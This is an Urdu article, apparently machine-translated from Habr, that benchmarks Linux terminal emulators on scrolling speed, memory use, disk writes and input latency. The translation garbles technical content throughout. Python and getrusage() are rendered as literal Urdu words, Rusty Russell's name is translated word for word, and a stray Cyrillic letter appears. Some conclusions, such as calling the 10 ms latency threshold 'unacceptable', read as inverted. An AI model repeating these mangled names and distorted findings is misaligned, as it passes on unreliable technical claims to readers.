اس سمجھی جانے والی ایکسٹرم سستی کو ٹھیک کرنے کے لیے، ڈکی نے وسائل کو استعمال کرنے کا مشورہ دیا۔ فاسٹ سکرول، بہاؤ کو برقرار رکھنے کے لیے xterm کو کچھ اسکرین اپ ڈیٹس کو ضائع کرنے کی اجازت دیتا ہے۔ میرے ٹیسٹ اس بات کی تصدیق کرتے ہیں کہ فاسٹ سکرول کارکردگی کو بہتر بناتا ہے اور xterm کو rxvt کے برابر لاتا ہے۔ تاہم، یہ ایک کھردری بیساکھی ہے، جیسا کہ خود ڈکی نے وضاحت کی ہے: "کبھی کبھی xterm - جیسے کونسول - کچھ کو ہٹانے کے بعد اسکرین اپ ڈیٹس کے نئے سیٹ کا انتظار کرتے ہوئے رک جاتا ہے۔" اس رگ میں، ایسا لگتا ہے کہ دوسرے ٹرمینلز نے رفتار اور ڈسپلے کی سالمیت کے درمیان بہترین سمجھوتہ پایا ہے۔

وسائل کی کھپت

اس سے قطع نظر کہ اسکرولنگ کی رفتار کو کارکردگی کے میٹرک کے طور پر سمجھنا سمجھ میں آتا ہے، یہ ٹیسٹ ہمیں ٹرمینلز پر بوجھ کی نقل کرنے کی اجازت دیتا ہے، جس کے نتیجے میں ہمیں دیگر پیرامیٹرز جیسے میموری یا ڈسک کے استعمال کی پیمائش کرنے کی اجازت ملتی ہے۔ میٹرکس مخصوص ٹیسٹ چلا کر حاصل کیے گئے تھے۔ seq ازگر کے عمل کی نگرانی کے تحت۔ اس نے میٹر کا ڈیٹا اکٹھا کیا۔ حاصل کرنا () لیے ru_maxrss، رقم ru_oublock и ru_inblock اور ایک سادہ ٹائمر۔

اس ٹیسٹ میں، ST سب سے کم اوسط میموری کی کھپت 8 MB کے ساتھ پہلی پوزیشن حاصل کرتا ہے، جو کہ اس بات پر غور کرتے ہوئے حیران کن نہیں ہے کہ ڈیزائن کا بنیادی خیال سادگی ہے۔ mlterm، xterm اور rxvt تھوڑا زیادہ استعمال کرتے ہیں - تقریباً 12 MB۔ ایک اور قابل ذکر نتیجہ Alacritty ہے، جسے چلانے کے لیے 30 MB کی ضرورت ہوتی ہے۔ پھر VTE فیملی کے ٹرمینلز ہیں جن میں 40 سے 60 MB تک کے اعداد و شمار ہیں، جو کہ بہت زیادہ ہے۔ اس کھپت کی وضاحت اس حقیقت سے کی جا سکتی ہے کہ یہ ٹرمینلز اعلیٰ سطح کی لائبریریوں کا استعمال کرتے ہیں، مثال کے طور پر، GTK۔ کونسول ٹیسٹ کے دوران 65MB میموری کی کھپت کے ساتھ آخری نمبر پر آتا ہے، حالانکہ اس کو اس کی خصوصیات کی بہت وسیع رینج سے جائز قرار دیا جا سکتا ہے۔

دس سال پہلے حاصل کردہ پچھلے نتائج کے مقابلے میں، تمام پروگراموں نے نمایاں طور پر زیادہ میموری استعمال کرنا شروع کردی۔ Xterm کے لیے پہلے 4 MB کی ضرورت ہوتی تھی، لیکن اب اسے شروع ہونے پر 15 MB کی ضرورت ہوتی ہے۔ rxvt کی کھپت میں بھی اسی طرح کا اضافہ ہے، جس کے لیے اب 16 MB کی ضرورت ہے۔ Xfce ٹرمینل 34 MB لیتا ہے، جو پہلے سے تین گنا بڑا ہے، لیکن GNOME ٹرمینل کو صرف 20 MB کی ضرورت ہے۔ یقینا، تمام پچھلے ٹیسٹ 32 بٹ فن تعمیر پر کیے گئے تھے۔ ایل سی اے 2012 میں زنگ آلود رسل بتایا، کہ اس کے علاوہ بھی بہت سی لطیف وجوہات ہیں جو میموری کی کھپت میں اضافے کی وضاحت کر سکتی ہیں۔ یہ کہہ کر، ہم اب ایسے وقت میں رہتے ہیں جہاں ہمارے پاس گیگا بائٹس میموری ہے، لہذا ہم کسی نہ کسی طرح انتظام کر لیں گے۔

تاہم، میں مدد نہیں کر سکتا لیکن محسوس کرتا ہوں کہ ٹرمینل جیسی بنیادی چیز کے لیے زیادہ میموری مختص کرنا وسائل کا ضیاع ہے۔ یہ پروگرام سب سے چھوٹے سے چھوٹے ہونے چاہئیں، کسی بھی "باکس" پر چلنے کے قابل ہونے چاہئیں، یہاں تک کہ جوتے کے باکس پر بھی، اگر ہم کبھی اس مقام پر پہنچ جائیں جہاں انہیں لینکس سسٹم سے لیس کرنے کی ضرورت ہے (اور آپ جانتے ہیں کہ ایسا ہو گا۔ ) لیکن ان نمبروں کے ساتھ، میموری کا استعمال مستقبل میں کسی بھی ایسے ماحول میں ایک مسئلہ بن جائے گا جس میں چند ہلکے اور محدود صلاحیتوں کے علاوہ متعدد ٹرمینلز چل رہے ہوں۔ اس کی تلافی کے لیے، GNOME Terminal، Konsole، urxvt، Terminator اور Xfce ٹرمینل میں ایک ڈیمون موڈ ہے جو آپ کو ایک ہی عمل کے ذریعے متعدد ٹرمینلز کو کنٹرول کرنے کی اجازت دیتا ہے، ان کی میموری کی کھپت کو محدود کرتے ہوئے۔

اپنے ٹیسٹوں کے دوران، میں ڈسک کے پڑھنے لکھنے کے حوالے سے ایک اور غیر متوقع نتیجہ پر پہنچا: مجھے توقع تھی کہ یہاں کچھ بھی نظر نہیں آئے گا، لیکن یہ پتہ چلا کہ کچھ ٹرمینلز ڈسک پر سب سے زیادہ ڈیٹا لکھتے ہیں۔ لہذا، VTE لائبریری دراصل ایک اسکرول بفر کو ڈسک پر رکھتی ہے (یہ خصوصیت 2010 میں واپس محسوس کیا گیا تھا، اور یہ اب بھی ہو رہا ہے)۔ لیکن پرانے نفاذ کے برعکس، اب کم از کم اس ڈیٹا کو AES256 GCM کا استعمال کرتے ہوئے انکرپٹ کیا گیا ہے۔ورژن 0.39.2 سے)۔ لیکن ایک معقول سوال پیدا ہوتا ہے: وی ٹی ای لائبریری میں ایسی کیا خاص بات ہے کہ اس کے نفاذ کے لیے اس طرح کے غیر معیاری انداز کی ضرورت ہے...

حاصل يہ ہوا

مضمون کے پہلے حصے میں، ہم نے پایا کہ VTE پر مبنی ٹرمینلز میں خصوصیات کا ایک اچھا مجموعہ ہے، لیکن اب ہم دیکھتے ہیں کہ یہ کچھ کارکردگی کے اخراجات کے ساتھ آتا ہے۔ اب میموری کوئی مسئلہ نہیں ہے کیونکہ تمام VTE ٹرمینلز کو ڈیمون کے عمل کے ذریعے کنٹرول کیا جا سکتا ہے، جو ان کی بھوک کو محدود کرتا ہے۔ تاہم، پرانے سسٹمز جن میں RAM اور کرنل بفرز کی مقدار پر جسمانی حد ہوتی ہے انہیں اب بھی ٹرمینلز کے پہلے ورژن کی ضرورت پڑسکتی ہے، کیونکہ وہ کافی کم وسائل استعمال کرتے ہیں۔ اگرچہ VTE ٹرمینلز نے تھرو پٹ (اسکرولنگ) ٹیسٹ میں اچھی کارکردگی کا مظاہرہ کیا، ان کے ڈسپلے میں تاخیر GNOME یوزر گائیڈ میں مقرر کردہ حد سے اوپر ہے۔ VTE ڈویلپرز کو شاید اس کو مدنظر رکھنا چاہئے۔ اگر ہم اس بات کو ذہن میں رکھیں کہ نوآموز لینکس صارفین کے لیے بھی ٹرمینل کا سامنا کرنا ناگزیر ہے، تو وہ اسے زیادہ صارف دوست بنا سکتے ہیں۔ تجربہ کار گیکس کے لیے، پہلے سے طے شدہ ٹرمینل سے سوئچ کرنے کا مطلب یہ بھی ہوسکتا ہے کہ کام کے طویل سیشنوں کی وجہ سے آنکھوں میں کم دباؤ اور مستقبل میں کام سے متعلق چوٹوں اور بیماریوں سے بچنے کی صلاحیت ہو۔ بدقسمتی سے، صرف پرانے xterm اور mlterm ہی ہمیں 10 ملی سیکنڈز کی جادوئی پنگ کی حد تک لے آتے ہیں، جو بہت سے لوگوں کے لیے ناقابل قبول ہے۔

بینچ مارک کی پیمائش نے یہ بھی ظاہر کیا کہ لینکس گرافیکل ماحول کی ترقی کی وجہ سے، ڈویلپرز کو کئی سمجھوتے کرنے پڑے۔ کچھ صارفین باقاعدہ ونڈو مینیجرز کو دیکھنا چاہتے ہیں کیونکہ وہ پنگ میں نمایاں کمی فراہم کرتے ہیں۔ بدقسمتی سے، Wayland کے لیے لیٹنسی کی پیمائش کرنا ممکن نہیں تھا: میں نے جو ٹائپومیٹر پروگرام استعمال کیا وہ اس لیے بنایا گیا تھا کہ Wayland کو روکنے کے لیے ڈیزائن کیا گیا ہے: دوسری ونڈوز پر جاسوسی۔ مجھے امید ہے کہ Wayland کمپوزٹنگ X.org سے بہتر کارکردگی کا مظاہرہ کرے گی، اور میں یہ بھی امید کرتا ہوں کہ مستقبل میں کوئی اس ماحول میں تاخیر کی پیمائش کرنے کا طریقہ تلاش کرے گا۔

ماخذ: www.habr.com